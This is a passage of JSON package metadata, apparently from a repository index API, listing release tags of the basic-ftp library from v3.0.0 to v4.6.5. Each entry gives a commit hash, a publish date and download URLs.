:"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.6.5","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.6.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.6.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.5/manifests"},{"name":"v4.6.4","sha":"4db4f4ae4f81433adb429f241ec26e2e43797e87","kind":"commit","published_at":"2021-03-24T21:02:31.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.6.4","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.4/manifests"},{"name":"v4.6.3","sha":"8ed3c24e56706a52653d862e61b57340dcbcb4e9","kind":"commit","published_at":"2020-10-31T08:15:36.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.6.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.3/manifests"},{"name":"v4.6.2","sha":"7dc31f9a1a4dd6720606fcbf6fbf13916d928be0","kind":"commit","published_at":"2020-07-03T07:18:18.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.6.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.2/manifests"},{"name":"v4.6.1","sha":"026db49d2212d0d9e99321545ecc19e74b957807","kind":"commit","published_at":"2020-06-07T05:14:19.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.6.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.1/manifests"},{"name":"v4.6.0","sha":"3bfec5f56b1393e0f2f02f8b2cc4406513bd2a4c","kind":"commit","published_at":"2020-06-06T17:50:33.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.6.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.0/manifests"},{"name":"v4.5.4","sha":"2c6ba44a284f4a0a6a1f1df98b7bbd7d5d62fdb5","kind":"tag","published_at":"2020-03-22T10:15:38.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.5.4","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.5.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.5.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.4/manifests"},{"name":"v4.5.3","sha":"f3ede38f6f0cec7761fb0c7db81ac30b5c91a5ff","kind":"tag","published_at":"2020-01-14T17:36:23.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.5.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.3/manifests"},{"name":"v4.5.2","sha":"dad3d226ec8454840a40c41f14225b2161e97615","kind":"tag","published_at":"2019-12-26T18:01:37.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.5.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.2/manifests"},{"name":"v4.5.1","sha":"1acb581dcaddc17596e780fe04628f730cbe5656","kind":"tag","published_at":"2019-11-07T17:12:40.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.5.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.1/manifests"},{"name":"v4.5.0","sha":"1e8a8144e8f0721321beac443f4f545f8ab47276","kind":"tag","published_at":"2019-11-06T13:56:01.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.5.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.0/manifests"},{"name":"v4.4.1","sha":"26a2f00ed82f17df6777fcbcb8aba295f7532cb7","kind":"tag","published_at":"2019-10-29T13:56:21.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.4.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.4.1/manifests"},{"name":"v4.4.0","sha":"0499592114f3becbc2d554e12ab8e10e6b21b658","kind":"tag","published_at":"2019-10-28T09:18:08.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.4.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.4.0/manifests"},{"name":"v4.3.2","sha":"8d71ddbe37b927c3fb5028e8410ab669524b9e7b","kind":"tag","published_at":"2019-10-27T11:04:54.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.3.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.3.2/manifests"},{"name":"v4.3.1","sha":"67690d0689e6defaf632c2b9cee311b733c7ea0f","kind":"tag","published_at":"2019-10-22T20:34:11.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.3.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.3.1/manifests"},{"name":"v4.3.0","sha":"dbadd6b4c636bd3173adb3a7fe4158f02814cb3f","kind":"tag","published_at":"2019-10-19T11:44:45.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.3.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.3.0/manifests"},{"name":"v4.2.1","sha":"58abec8c455a87c5be8eafe54939dbf10a1ab2db","kind":"tag","published_at":"2019-10-17T13:24:32.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.2.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.2.1/manifests"},{"name":"v4.2.0","sha":"a93e1f30ae55abaafd2694e964c510f6c0f0d4c3","kind":"tag","published_at":"2019-10-13T20:29:18.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.2.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.2.0/manifests"},{"name":"v4.1.0","sha":"08cd4f87ba9f1dbb2b6db3b1f9844a7ec0da2b67","kind":"tag","published_at":"2019-10-09T12:46:11.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.1.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.1.0/manifests"},{"name":"v4.0.2","sha":"37a36355df0e9017cb09d89b340bd24ee574831f","kind":"tag","published_at":"2019-09-26T06:34:48.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.0.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.0.2/manifests"},{"name":"v4.0.1","sha":"063e0471820f61b318148afa94ad0e75cb48c199","kind":"tag","published_at":"2019-09-18T07:45:59.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.0.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.0.1/manifests"},{"name":"v4.0.0","sha":"8e5debbb84668040f1a417512afde275dae367c4","kind":"tag","published_at":"2019-09-13T04:50:53.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.0.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.0.0/manifests"},{"name":"v3.8.3","sha":"1b41b396bb90a295e9be630a69bbc39a72d98e0f","kind":"tag","published_at":"2019-08-29T05:21:30.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.8.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.8.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.8.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.3/manifests"},{"name":"v3.8.2","sha":"fca1005c372e1f7894ce5cc524043c07323b9f62","kind":"tag","published_at":"2019-08-28T19:35:47.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.8.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.8.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.2/manifests"},{"name":"v3.8.1","sha":"280d78828219235f67eac15fac1d155fb8ec0550","kind":"tag","published_at":"2019-08-14T18:05:50.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.8.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.1/manifests"},{"name":"v3.8.0","sha":"df70dbf1aeeb33f36ca87bd49f7ef8bc78c6bd92","kind":"tag","published_at":"2019-07-25T16:05:51.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.8.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.0/manifests"},{"name":"v3.7.1","sha":"7a2f635fc3f6c7796cd5507d9cef3d3034aeaa86","kind":"tag","published_at":"2019-07-19T07:11:11.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.7.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.7.1/manifests"},{"name":"v3.7.0","sha":"8ea7c4258505d6e2d5f43efe130c52e73cc1658d","kind":"tag","published_at":"2019-06-26T12:16:01.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.7.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.7.0/manifests"},{"name":"v3.6.0","sha":"b5bd1b7dd1db17b5653331a27ce1c643faa379f6","kind":"tag","published_at":"2019-06-05T13:25:56.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.6.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.6.0/manifests"},{"name":"v3.5.0","sha":"f7f4302c90483296be5f9a76be4d92930da24e66","kind":"tag","published_at":"2019-04-19T07:28:16.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.5.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.5.0/manifests"},{"name":"v3.4.4","sha":"bfb84f30151d0caae27c1fe0d24da2bfffefc697","kind":"tag","published_at":"2019-03-20T09:22:13.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.4.4","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.4/manifests"},{"name":"v3.4.3","sha":"23236bf595a8766a8d84d58f5517a034be3ec8cb","kind":"tag","published_at":"2019-03-05T13:31:43.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.4.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.3/manifests"},{"name":"v3.4.2","sha":"ec464e88599cb7555ac54334cb60b958c58383e5","kind":"tag","published_at":"2019-02-26T14:23:37.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.4.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.2/manifests"},{"name":"v3.4.1","sha":"5ae8531c7b35f651d57a575883ebe448ac229995","kind":"tag","published_at":"2019-02-23T19:57:28.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.4.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.1/manifests"},{"name":"v3.4.0","sha":"a4fcc6f911402913a02a4c769921763c11fcdba6","kind":"tag","published_at":"2019-02-23T13:17:37.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.4.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.0/manifests"},{"name":"v3.3.1","sha":"bc3d03c424ea2b9ee89ac1d6cb1c2394927a4863","kind":"tag","published_at":"2019-02-19T07:04:15.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.3.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.3.1/manifests"},{"name":"v3.3.0","sha":"f5da3ff41a4bdb0270c5fd6ed14824e88e4422fa","kind":"tag","published_at":"2019-02-18T16:21:00.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.3.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.3.0/manifests"},{"name":"v3.2.2","sha":"92c9875609fb3c00b369475792fe41f2e5b1940c","kind":"tag","published_at":"2019-02-18T10:01:52.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.2.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.2.2/manifests"},{"name":"v3.2.1","sha":"2c8497bb454ec84e9b319bf64869361019bdb537","kind":"tag","published_at":"2019-02-16T08:59:26.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.2.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.2.1/manifests"},{"name":"v3.2.0","sha":"08b17d83ec374d42140097ef648845818d1bfeb4","kind":"tag","published_at":"2019-02-15T15:11:16.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.2.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.2.0/manifests"},{"name":"v3.1.1","sha":"b063cafb2cdc2318c5920cf1d63a906bcd2f315e","kind":"tag","published_at":"2019-01-20T18:48:35.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.1.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.1.1/manifests"},{"name":"v3.1.0","sha":"ac00625e89372efdcd62d2361147af0e4b3ebb3f","kind":"tag","published_at":"2019-01-11T08:39:07.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.1.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.1.0/manifests"},{"name":"v3.0.0","sha":"1b8ae5a577f6fad996eac4ffb6553593900ddcb8","kind":"tag","published_at":"2019-01-03T19:39:59.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.0.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.0.0","manifests_url":"https://repos.ecosyste.ms/